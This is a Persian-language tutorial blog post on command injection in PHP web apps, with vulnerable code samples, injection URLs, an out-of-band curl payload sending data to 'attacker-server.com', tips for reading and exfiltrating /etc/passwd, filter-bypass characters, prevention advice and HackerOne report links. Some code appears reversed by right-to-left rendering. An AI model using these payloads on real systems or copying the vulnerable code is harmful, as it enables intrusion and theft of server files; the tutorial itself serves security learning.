
آموزش آسیب پذیری Command Injection
در این پست قراره نحوه بهره برداری و جلوگیری از آسیب پذیری Command Injection رو بررسی کنیم و همچنین دو مثال با متود های متفاوت رو بررسی کنیم
و در نهایت مثالی از نمونه گزارش های این حفره امنیتی خطرناک از سایت های بزرگ در پلتفرم هکروان و منابع انگلیسی ویدیویی و متنی برای درک بهتر مفهوم رو معرفی میکنم.
آسیب پذیری Command injection چیست؟
آسیب پذیری command injection که در سطح بحرانی آسیب پذیری ها قرار داره، در واقع به ما اجازه اجرای دستورات سیستمی رو روی سایت مورد نظر میده.
برای مثال کد زیر رو در نظر بگیرید:
اینجا ورودی ما روی سرور بصورت کامند ران میشه برای مثال : http://localhost/script.php?command=ls
که دستور ls در واقع فایل های فولدری که در اون هستیم رو نمایش میده
توجه داشته باشین که روی هر سرور دستورات متفاوت هست، برای مثال دستور ls بر روی سرور های لینوکسی و دستوراتی مثل dir , cls و.. بر روی سرور های ویندوزی اجرا میشن.
مثال اول از آسیب پذیری Command injection
برای مثال آدرس زیر رو در نظر بگیرید:
https://etmad.ir/command_injection.php?filename=test.txt
محتویات فایل command_injection.php :
;command = $_GET['filename']$
;print_r(system("cat $command"))
در این حالت پارامتر get مساوی قرار داده شده با test.txt که اسکریپت با توجه به کد های بالا میاد و فایل رو با دستور cat میخونه.
حالا فرض کنید آدرسی که ما داریم بهش درخواست میدیم به این صورت باشه:
https://etmad.ir/command_injection.php?filename=test.txt; ls
در اینجا بعد از خوندن فایل test.txt سرور میاد محتویات پوشه ای که توش هستیم رو نمایش میده :)
برای مثال :
که امکان اجرای دستورات مخرب رو بهمون میده برای مثال حذف یا ایجاد فایل.
نکته: این نمونه کد مثال ساده ای از command injection بود که ممکنه در تارگت های مختلف متفاوت باشه برای مثال فیلترینگی اعمال شده باشه و نیاز به بایپس باشه که در آخر پیلود لیست هایی رو معرفی میکنم.
همچنین این نمونه کد به باگ local file inclusion یا lfi هم آسیب پذیره.
مثال دوم با متود Out of band(OOB)
آدرس:
http://etmad.ir/command_injection.php?ip=127.0.0.1
کد:
;ip = $_GET['ip']$
;exec("ping -c 1 $ip",$checkStatus)
}if(count($checkStatus) != 0)
;"echo "ok
}else{
;"echo "error
{
در اینجا یک ای پی رو در ورودی میدیم که ping میگیره و اگر درست بود ok رو چاپ میکنه در و اگر مشکلی داشت error رو نمایش میده
که در این حالت محتوایی چاپ نمیشه، برای همین میتونیم از روش out of band استفاده کنیم
یعنی دستور ما میشه :
http://localhost/ci.php?ip=127.0.0.1|curl "http://attacker-server.com/?data=`uname`"
در اینجا باید یک سرور داشته باشیم که ریکوست هایی که بهش ارسال میشه رو بررسی کنیم که میتونیم از requestbin یا ngrok یا .. استفاده کنیم
که بطور ساده بخوایم بگیم در کنار ping یک ریکوست با استفاده از curl به سرور ما میزنه
و پارامتر data رو مساوی با uname سرور قرار میده که میتونیم برای مثال محتویات فایل /etc/passwd رو ارسال کنیم
فقط توجه داشته باشید که بهتره زمان ارسال محتویات فایل برای مثال /etc/passwd داده ها بصورت base64 باشه که دستور ما تقریبا چیزی شبیه به این میشه: cat /etc/passwd | base64
و مورد بعد اینکه ممکنه توی سرور ماژول curl نصب نباشه یا base64 یا ... که باید با توجه به شرایط پیلود رو وارد کنیم.
برای out of band از nslookup هم میتونیم استفاده کنیم که پیشنهاد میکنم برای nslookup با collaborator در ابزار امنیتی burp پیش برید.
تشخیص Command injection با استفاده از time delays یا تاخیر در زمان
یکی از راه هایی که میتونیم استفاده کنیم برای تشخیص آسیب پذیر بودن وبسایت در برار آسیب پذیری command injection استفاده از روش time delays هست
یعنی دستوراتی وارد کنیم که باعث بوجود اومدن تاخیر در زمان برای نمایش نتیجه دستور بشه.
دستور ping میتونه روش مناسبی برای تست و انجام این روش باشه چون به ما اجازه میده تعداد بسته های ICMP برای ارسال و زمان لازم برای اجرای دستور رو مشخص کنیم.
برای مثال : ping -c 127.0.0.1
بایپس و دور زدن فیلترینگ در مقابل command injection
ممکنه در تست تارگت های مختلف به مواردی برخورد کنید که فیلترینگی برای جلوگیری از تزریق کامند ها انجام شده باشه، برای دور زدن فیلترین ها میتونیم از موارد زیر استفاده کنیم:
- ;
- |
- &
- $
- ``
- file:/etc/passwd
اگه یادتون باشه در مثال های قبل از سمیکالن استفاده کردیم اما ممکنه سمیکالن فیلتر باشه که میتونیم برای بایپس اون از | و & استفاده کنیم، در واقع توی تارگت باید هر سه مورد رو تست کرد.
مورد بعد $ هست که فرض کنید سه علامت ; , | , & فیلتر باشن و ورودی ما با دستور echo چاپ میشه
در این حالت برای تست آسیب پذیری میتونیم از متغییر هایی مثل $USER استفاده کنیم.
مورد بعد `` هست که در بین اون میتونیم دستور خودمون رو بنویسیم که اجرا بشه.
مثال قبل رو در نظر بگیرید، اینجا میتونیم با وارد کردن `cat /etc/passwd` در ورودی به سرور بگیرم فایل /etc/passwd رو بخون و چاپ کن.
مورد بعدی file:/etc/passwd هست، فرض کنید سناریو به این صورت باشه که ورودی ما جلوی یک curl قرار داده بشه و به اون ریکوست بزنه.
در این حالت ما میتونیم با نوشتن file:/etc/passwd بجای مثلا http://etmad.ir فایل /etc/passwd رو بخونیم.
نحوه جلوگیری از آسیب پذیری Command injection
- پیشنهاد میشه که در بیشتر مواقع سعی کنید از اجرای دستورات سیستمی با ورودی خودداری کنید
- اگر مواردی مثل ویرایش تصاویر و.. است میتونید از پلتفرم های دارای api ایمن استفاده کنید
- کاراکتر های غیر مجاز مثل & | ( ) ` رو بصورت کامل فیلتر کنید
- تنها کاراکتر های مجاز رو قبول کنید برای مثل تنها ورودی های عددی
- encrypt دستورات در ورودی و decrypt آنها برای اجرای دستور.
- دستورات سیستمی رو در ورودی فیلتر و کنترل کنید
- پرمیشن بندی مناسب انجام بدید
- از فایروال استفاده کنید
- و ...
نمونه های گزارش آسیب پذیری Command injection در Hackerone
- آسیب پذیری ۱۵ هزار دلاری شاپیفای : https://hackerone.com/reports/422944
- آسیب پذیری ۱۲ هزار و ۵۰۰ دلاری تیک تاک : https://hackerone.com/reports/1024575
- آسیب پذیری ۱۲ هزار دلاری گیت لب : https://hackerone.com/reports/587854
- آسیب پذیری ۲ هزار و ۵۰۰ دلاری خود هکروان : https://hackerone.com/reports/135072
- آسیب پذیری ۲۰ هزار دلاری : https://hackerone.com/reports/141956
- آسیب پذیری ۵ هزار دلاری (Basecamp) : https://hackerone.com/reports/365271
لینک های مفید
Blind OS command injection with out of band data exfiltration (video)
آسیب پذیری Command injection در Portswigger
آسیب پذیری Command injection در Owasp
آسیب پذیری Command injection در Netsparker
OS Command injection POC 1(video)
OS Command injection POC 2(video)

تا کنون نظری برای این مطلب ثبت نشده است. شما اولین نفر باشید
جهت ارسال نظر وارد اکانت خود شوید